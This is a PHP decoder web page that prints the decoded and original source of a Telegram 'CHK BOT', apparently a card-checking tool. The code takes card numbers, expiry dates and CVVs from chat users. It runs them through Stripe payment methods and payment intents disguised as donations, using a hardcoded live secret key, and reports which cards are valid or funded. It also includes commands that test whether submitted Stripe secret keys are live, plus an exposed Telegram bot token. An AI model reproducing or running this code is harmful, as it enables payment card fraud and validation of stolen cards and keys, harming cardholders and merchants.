Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

/////////////////===========[ CHK BOT]=============//////////////// $botToken = "74967650..

Decoded Output download

<?  /////////////////===========[ CHK BOT]=============//////////////// 
$botToken = "7496765074:AAEIAQSX32bBvzJxzC6rkirIMVvdoqHcApc"; // Enter ur bot token 
$website = "https://api.telegram.org/bot".$botToken; 
error_reporting(0); 
$update = file_get_contents('php://input'); 
$update = json_decode($update, TRUE); 
$print = print_r($update); 
$chatId = $update["message"]["chat"]["id"]; 
$gId = $update["message"]["from"]["id"]; 
$userId = $update["message"]["from"]["id"]; 
$firstname = $update["message"]["from"]["first_name"]; 
$lastname = $update["message"]["from"]["last_name"]; 
$username = $update["message"]["from"]["username"]; 
$message = $update["message"]["text"]; 
$message_id = $update["message"]["message_id"]; 
$premiums = file_get_contents('users.txt'); 
$premium = explode("
", $premiums); 
$group = file_get_contents('groups.txt'); 
$groups = explode("
", $group); 
if($userId == '-4736716327') { 
$usernam = ''.shadowdemon_xd.' [Owner]'; 
} 
elseif($userId == '-4736716327') { 
$usernam = ''.mtchex.' [Owner]'; 
} 
else { 
$usernam = $username; 
} 
$sk = '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'; 
function GetStr($string, $start, $end){ 
$str = explode($start, $string); 
$str = explode($end, $str[1]);   
return $str[0]; 
}; 
function multiexplode($delimiters, $string) 
{ 
  $one = str_replace($delimiters, $delimiters[0], $string); 
  $two = explode($delimiters[0], $one); 
  return $two; 
} 
function random_strings($length_of_string)  
{ 
    $str_result = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';  
    return substr(str_shuffle($str_result),   
                       0, $length_of_string);  
} 
$mail = 'shadowdemo2w'.random_strings(6).''; 
//////////=========[Start Command]=========////////// 
 
 
if ((strpos($message, "/info") === 0)||(strpos($message, "!start") === 0)||(strpos($message, "!id") === 0)||(strpos($message, "!info") === 0)||(strpos($message, "/id") === 0)||(strpos($message, "/me") === 0)||(strpos($message, "/start") === 0)){ 
sendMessage($chatId, "<b>Telegram ID:</b> <code>$userId</code><b>Group ID: </b><code>$chatId</code><b>To Know Commands: /cmds</b>", $message_id); 
} 
elseif ((strpos($message, "/chk") === 0)||(strpos($message, "!chk") === 0)||(strpos($message, ".chk") === 0)){ 
$message = substr($message, 4); 
$amt = multiexplode(array("/", ":", " ", "|"), $message)[0]; 
$cc = multiexplode(array(":", "/", " ", "|"), $message)[1]; 
$mes = multiexplode(array(":", "/", " ", "|"), $message)[2]; 
$ano = multiexplode(array(":", "/", " ", "|"), $message)[3]; 
$cvv = multiexplode(array(":", "/", " ", "|"), $message)[4]; 
if (empty($amt)) { 
$amt = '1'; 
} 
        $amount = $amt * 100; 
        $lista = ''.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.''; 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$cc.''); 
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
        curl_setopt($ch, CURLOPT_HTTPHEADER, array( 
        'Host: lookup.binlist.net', 
        'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628', 
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')); 
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_POSTFIELDS, ''); 
        $fim = curl_exec($ch); 
        $bank = GetStr($fim, '"bank":{"name":"', '"'); 
        $name = GetStr($fim, '"name":"', '"'); 
        $brand = GetStr($fim, '"brand":"', '"'); 
        $country = GetStr($fim, '"country":{"name":"', '"'); 
        $emoji = GetStr($fim, '"emoji":"', '"'); 
        $scheme = GetStr($fim, '"scheme":"', '"'); 
        $type = GetStr($fim, '"type":"', '"'); 
        if(strpos($fim, '"type":"credit"') !== false){ 
        $bin = 'Credit'; 
        }else{ 
        $bin = 'Debit'; 
        }; 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_methods'); 
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
        curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . ''); 
        curl_setopt($ch, CURLOPT_POSTFIELDS, 'type=card&card[number]='.$cc.'&card[exp_month]='.$mes.'&card[exp_year]='.$ano.'&card[cvc]='.$cvv.'&billing_details[address][line1]=36&billing_details[address][line2]=Regent Street&billing_details[address][city]=Jamestown&billing_details[address][postal_code]=14701&billing_details[address][state]=New York&billing_details[address][country]=US&billing_details[email]='.$mail.'@gmail.com&billing_details[name]= Mittal'); 
        $result1 = curl_exec($ch); 
        $tok1 = Getstr($result1,'"id": "','"'); 
        $msg1 = Getstr($result1,'"message": "','"'); 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_intents'); 
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
        curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . ''); 
        curl_setopt($ch, CURLOPT_POSTFIELDS, 'amount='.$amount.'&currency=usd&payment_method_types[]=card&description= Donation&payment_method='.$tok1.'&confirm=true&off_session=true'); 
        $result2 = curl_exec($ch); 
        $msg2 = Getstr($result2,'"message": "','"'); 
        $rcp = trim(strip_tags(getStr($result2,'"receipt_url": "','"'))); 
        if(strpos($result2, '"seller_message": "Payment complete."' )) { 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Successfully Charged $$amt </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id); 
 
        } 
        elseif(strpos($result2, "insufficient_funds" )) { 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Insufficient Funds</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, "card_error_authentication_required")) || (strpos($result2, "card_error_authentication_required"))){ sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - 3D Card</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif(strpos($result2,'"cvc_check": "pass"')){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Payment Cannot Be Completed</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif(strpos($result2,'"code": "incorrect_cvc"')){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $$amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif(strpos($result1,'"code": "incorrect_cvc"')){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, "transaction_not_allowed")) || (strpos($result2, "transaction_not_allowed"))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Transaction Not Allowed</b><b>Gateway - Stripe Charge $$amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, "fraudulent")) || (strpos($result2, "fraudulent"))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Fraudulent</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, "expired_card")) || (strpos($result2, "expired_card"))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Expired Card</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, "generic_declined")) || (strpos($result2, "generic_declined"))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id); 
        } 
        elseif ((strpos($result1, "do_not_honor")) || (strpos($result2, "do_not_honor"))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Do Not Honor</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, 'rate_limit')) || (strpos($result2, 'rate_limit'))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - SK IS AT RATE LIMIT</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
         
        elseif ((strpos($result1, "Your card was declined.")) || (strpos($result2, "Your card was declined."))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, ' "message": "Your card number is incorrect."')) || (strpos($result2, ' "message": "Your card number is incorrect."'))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Card Number Is Incorrect</b><b>Response - Declined </b><b>Gateway - Stripe Charge $$amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        else { 
        sendMessage($chatId, "<b><u><i>Unknown Error. $msg1 - $msg2</i></u></b>", $message_id); 
        }; 
        } 
         
        elseif ((strpos($message, "/inr") === 0)||(strpos($message, "!inr") === 0)||(strpos($message, ".inr") === 0)){ 
$message = substr($message, 4); 
$amt = multiexplode(array("/", ":", " ", "|"), $message)[0]; 
$cc = multiexplode(array(":", "/", " ", "|"), $message)[1]; 
$mes = multiexplode(array(":", "/", " ", "|"), $message)[2]; 
$ano = multiexplode(array(":", "/", " ", "|"), $message)[3]; 
$cvv = multiexplode(array(":", "/", " ", "|"), $message)[4]; 
if (empty($amt)) { 
$amt = '100'; 
} 
        $amount = $amt * 100; 
        $lista = ''.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.''; 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$cc.''); 
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
        curl_setopt($ch, CURLOPT_HTTPHEADER, array( 
        'Host: lookup.binlist.net', 
        'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628', 
        'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')); 
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_POSTFIELDS, ''); 
        $fim = curl_exec($ch); 
        $bank = GetStr($fim, '"bank":{"name":"', '"'); 
        $name = GetStr($fim, '"name":"', '"'); 
        $brand = GetStr($fim, '"brand":"', '"'); 
        $country = GetStr($fim, '"country":{"name":"', '"'); 
        $emoji = GetStr($fim, '"emoji":"', '"'); 
        $scheme = GetStr($fim, '"scheme":"', '"'); 
        $type = GetStr($fim, '"type":"', '"'); 
        if(strpos($fim, '"type":"credit"') !== false){ 
        $bin = 'Credit'; 
        }else{ 
        $bin = 'Debit'; 
        }; 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_methods'); 
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
        curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . ''); 
        curl_setopt($ch, CURLOPT_POSTFIELDS, 'type=card&card[number]='.$cc.'&card[exp_month]='.$mes.'&card[exp_year]='.$ano.'&card[cvc]='.$cvv.'&billing_details[address][line1]=36&billing_details[address][line2]=Regent Street&billing_details[address][city]=Jamestown&billing_details[address][postal_code]=14701&billing_details[address][state]=New York&billing_details[address][country]=US&billing_details[email]='.$mail.'@gmail.com&billing_details[name]= Mittal'); 
        $result1 = curl_exec($ch); 
        $tok1 = Getstr($result1,'"id": "','"'); 
        $msg1 = Getstr($result1,'"message": "','"'); 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/payment_intents'); 
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
        curl_setopt($ch, CURLOPT_USERPWD, $sk. ':' . ''); 
        curl_setopt($ch, CURLOPT_POSTFIELDS, 'amount='.$amount.'&currency=inr&payment_method_types[]=card&description= Donation&payment_method='.$tok1.'&confirm=true&off_session=true'); 
        $result2 = curl_exec($ch); 
        $msg2 = Getstr($result2,'"message": "','"'); 
        $rcp = trim(strip_tags(getStr($result2,'"receipt_url": "','"'))); 
        if(strpos($result2, '"seller_message": "Payment complete."' )) { 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Successfully Charged $amt </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id); 
        } 
        elseif(strpos($result2, "insufficient_funds" )) { 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Insufficient Funds</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, "card_error_authentication_required")) || (strpos($result2, "card_error_authentication_required"))){ sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - 3D Card</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif(strpos($result2,'"cvc_check": "pass"')){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Payment Cannot Be Completed</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif(strpos($result2,'"code": "incorrect_cvc"')){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif(strpos($result1,'"code": "incorrect_cvc"')){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CCN Matched </b><b>Response - CVV MISSMATCH</b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, "transaction_not_allowed")) || (strpos($result2, "transaction_not_allowed"))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - CVV Matched </b><b>Response - Transaction Not Allowed</b><b>Gateway - Stripe Charge $amt</b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, "fraudulent")) || (strpos($result2, "fraudulent"))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Fraudulent</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, "expired_card")) || (strpos($result2, "expired_card"))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Expired Card</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, "generic_declined")) || (strpos($result2, "generic_declined"))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id); 
        } 
        elseif ((strpos($result1, "do_not_honor")) || (strpos($result2, "do_not_honor"))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Do Not Honor</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, 'rate_limit')) || (strpos($result2, 'rate_limit'))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - SK IS AT RATE LIMIT</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
         
        elseif ((strpos($result1, "Your card was declined.")) || (strpos($result2, "Your card was declined."))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Generic Declined</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        elseif ((strpos($result1, ' "message": "Your card number is incorrect."')) || (strpos($result2, ' "message": "Your card number is incorrect."'))){ 
        sendMessage($chatId, "<b>Card: <code>$lista</code></b><b>Status - Card Number Is Incorrect</b><b>Response - Declined </b><b>Gateway - Stripe Charge $amt </b><b> Checked By:</b> @$usernam<b> Bot By: </b>", $message_id);} 
        else { 
        sendMessage($chatId, "<b><u><i>Unknown Error. $msg1 - $msg2</i></u></b>", $message_id); 
        }; 
        } 
 
elseif ((strpos($message, "/cmds") === 0)||(strpos($message, "!cmds") === 0)||(strpos($message, "!command") === 0)||(strpos($message, "!commands") === 0)||(strpos($message, "/commands") === 0)||(strpos($message, "/command") === 0)||(strpos($message, "/cmd") === 0)){ 
sendMessage($chatId, "<b><i>[Checker Gates]STRIPE CUSTOM CHARGE -/chk{Amount In $} - xxxxxxxxxxxxxxxx|xx|xx|xxx/inr{Amount In } - xxxxxxxxxxxxxxxx|xx|xx|xxxBIN LOOKUP - /bin -  xxxxxxSK CHECK - /sk -  sk_live_xxxxxxxxxx[Tools]TELEGRAM ID/GROUP ID - /id</i></b>", $message_id); 
} 
 
//////////=========[Bin Command]=========////////// 
 
elseif ((strpos($message, "/bin") === 0)||(strpos($message, "!bin") === 0)||(strpos($message, ".bin") === 0)){ 
$bin = substr($message, 5); 
if (!empty($bin)) { 
$ch = curl_init(); 
 curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$bin.''); 
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
curl_setopt($ch, CURLOPT_HTTPHEADER, array( 
'Host: lookup.binlist.net', 
'Cookie: _ga=GA1.2.549903363.1545240628; _gid=GA1.2.82939664.1545240628', 
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_POSTFIELDS, ''); 
$fim = curl_exec($ch); 
$bank = GetStr($fim, '"bank":{"name":"', '"'); 
$name = GetStr($fim, '"name":"', '"'); 
$brand = GetStr($fim, '"brand":"', '"'); 
$country = GetStr($fim, '"country":{"name":"', '"'); 
$emoji = GetStr($fim, '"emoji":"', '"'); 
$scheme = GetStr($fim, '"scheme":"', '"'); 
$type = GetStr($fim, '"type":"', '"'); 
if(strpos($fim, '"type":"credit"') !== false){ 
$bin = 'Credit'; 
}else{ 
$bin = 'Debit'; 
}; 
sendMessage($chatId, '<b> Valid Bin</b><b> Bank:</b> '.$bank.'<b> Country:</b> '.$name.''.$emoji.'<b> Brand:</b> '.$brand.'<b> Card:</b> '.$scheme.'<b> Type:</b> '.$type.'<b> Checked By:</b> @'.$username.'<b> Bot By: </b>', $message_id); 
} 
else { 
sendMessage($chatId, '<b> Invalid BinFormat - /bin xxxxxx</b>', $message_id); 
} 
} 
elseif (strpos($message, "/key") === 0){ 
$sec = substr($message, 5); 
if (!empty($sec)) { 
$skhidden = substr_replace($sec, '',12).preg_replace("/(?!^).(?!$)/", "x", substr($sec, 12)); 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/tokens'); 
curl_setopt($ch, CURLOPT_USERPWD, $sec. ':' . ''); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
curl_setopt($ch, CURLOPT_POSTFIELDS, 'card[number]=4912461004526326&card[exp_month]=04&card[exp_year]=2024&card[cvc]=011'); 
$result = curl_exec($ch); 
$response = trim(strip_tags(GetStr($result,'"message": "','"'))); 
if (strpos($result, 'tok_')){ 
sendMessage($chatId, "<b> LIVE KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> SK LIVE!!<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
elseif (strpos($result, 'Invalid API Key provided')){ 
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> INVALID KEY<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
elseif (strpos($result, 'You did not provide an API key.')){ 
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> No Sk Key Provided<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
elseif (strpos($result, 'rate_limit')){ 
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Rate Limited Key<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
elseif ((strpos($result, 'testmode_charges_only')) || (strpos($result, 'test_mode_live_card'))){ 
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Testmode Charges Only<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
elseif (strpos($result, 'api_key_expired')){ 
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Api Key Expired<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
else{ 
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> Unknown Error.<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
} 
else { 
sendMessage($chatId, '<b> No Sk ProvidedFormat - /key sk_live_xxxxxxxxxxx</b>', $message_id); 
} 
delMessage($chatId, $message_id); 
;} 
elseif (strpos($message, "/sk") === 0){ 
$sec = substr($message, 4); 
if (!empty($sec)) { 
$skhidden = substr_replace($sec, '',12).preg_replace("/(?!^).(?!$)/", "x", substr($sec, 12)); 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, 'https://api.stripe.com/v1/tokens'); 
curl_setopt($ch, CURLOPT_USERPWD, $sec. ':' . ''); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
curl_setopt($ch, CURLOPT_POSTFIELDS, 'card[number]=4912461004526326&card[exp_month]=04&card[exp_year]=2024&card[cvc]=011'); 
$result = curl_exec($ch); 
$response = trim(strip_tags(GetStr($result,'"message": "','"'))); 
if (strpos($result, 'tok_')){ 
sendMessage($chatId, "<b> LIVE KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> SK LIVE!!<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
elseif (strpos($result, 'Invalid API Key provided')){ 
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> INVALID KEY<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
elseif (strpos($result, 'You did not provide an API key.')){ 
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> No Sk Key Provided<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
elseif (strpos($result, 'rate_limit')){ 
sendMessage($chatId, "<b> LIVE KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Rate Limited Key<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
elseif ((strpos($result, 'testmode_charges_only')) || (strpos($result, 'test_mode_live_card'))){ 
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Testmode Charges Only<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
elseif (strpos($result, 'api_key_expired')){ 
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$sec</code><u> RESPONSE:</u> Api Key Expired<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
else{ 
sendMessage($chatId, "<b> DEAD KEY</b><u> KEY:</u> <code>$skhidden</code><u> RESPONSE:</u> Unknown Error.<u> Checked By:</u> @$usernam<b> Bot By: </b>", $message_id); 
} 
} 
else { 
sendMessage($chatId, '<b> No Sk ProvidedFormat - /sk sk_live_xxxxxxxxxxx</b>', $message_id); 
} 
delMessage($chatId, $message_id); 
;} 
function sendMessage ($chatId, $message, $message_id){ 
$url = $GLOBALS[website]."/sendMessage?chat_id=".$chatId."&text=".$message."&reply_to_message_id=".$message_id."&parse_mode=HTML"; 
file_get_contents($url); 
}; 
function delMessage ($chatId, $message_id){ 
$url = $GLOBALS[website]."/deleteMessage?chat_id=".$chatId."&message_id=".$message_id.""; 
file_get_contents($url); 
}; 
 
    function editMessage($chatId, $message, $messageId) { 
 
    $url = $GLOBALS[website]."/editMessageText?chat_id=".$chatId."&message_id=".$messageId."&text=".urlencode($message); 
    file_get_contents($url); 
 
    } ?>

Did this file decode correctly?

Original Code

/////////////////===========[ CHK BOT]=============////////////////
$botToken = "7496765074:AAEIAQSX32bBvzJxzC6rkirIMVvdoqHcApc"; // Enter ur bot token
$website = "https://api.telegram.org/bot".$botToken;
error_reporting(0);
$update = file_get_contents('php://input');
$update = json_decode($update, TRUE);
$print = print_r($update);
$chatId = $update["message"]["chat"]["id"];
$gId = $update["message"]["from"]["id"];
$userId = $update["message"]["from"]["id"];
$firstname = $update["message"]["from"]["first_name"];
$lastname = $update["message"]["from"]["last_name"];
$username = $update["message"]["from"]["username"];
$message = $update["message"]["text"];
$message_id = $update["message"]["message_id"];
$premiums = file_get_contents('users.txt');
$premium = explode("\n", $premiums);
$group = file_get_contents('groups.txt');
$groups = explode("\n", $group);
if($userId == '-4736716327') {
$usernam = ''.shadowdemon_xd.' [Owner]';
}
elseif($userId == '-4736716327') {
$usernam = ''.mtchex.' [Owner]';
}
else {
$usernam = $username;
}
$sk = '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';
function GetStr($string, $start, $end){
$str = explode($start, $string);
$str = explode($end, $str[1]);  
return $str[0];
};
function multiexplode($delimiters, $string)
{
  $one = str_replace($delimiters, $delimiters[0], $string);
  $two = explode($delimiters[0], $one);
  return $two;
}
function random_strings($length_of_string) 
{
    $str_result = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; 
    return substr(str_shuffle($str_result),  
                       0, $length_of_string); 
}
$mail = 'shadowdemo2w'.random_strings(6).'';
//////////=========[Start Command]=========//////////


if ((strpos($message, "/info") === 0)||(strpos($message, "!start") === 0)||(strpos($message, "!id") === 0)||(strpos($message, "!info") === 0)||(strpos($message, "/id") === 0)||(strpos($message, "/me") === 0)||(strpos($message, "/start") === 0)){
sendMessage($chatId, "<b>Telegram ID:</b> <code>$userId</code><b>Group ID: </b><code>$chatId</code><b>To Know Commands: /cmds</b>", $message_id);
}
elseif ((strpos($message, "/chk") === 0)||(strpos($message, "!chk") === 0)||(strpos($message, ".chk") === 0)){
$message = substr($message, 4);
$amt = multiexplode(array("/", ":", " ", "|"), $message)[0];
$cc = multiexplode(array(":", "/", " ", "|"), $message)[1];
$mes = multiexplode(array(":", "/", " ", "|"), $message)[2];
$ano = multiexplode(array(":", "/", " ", "|"), $message)[3];
$cvv = multiexplode(array(":", "/", " ", "|"), $message)[4];
if (empty($amt)) {
$amt = '1';
}
        $amount = $amt * 100;
        $lista = ''.$cc.'|'.$mes.'|'.$ano.'|'.$cvv.'';
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, 'https://lookup.binlist.net/'.$cc.'');
        curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
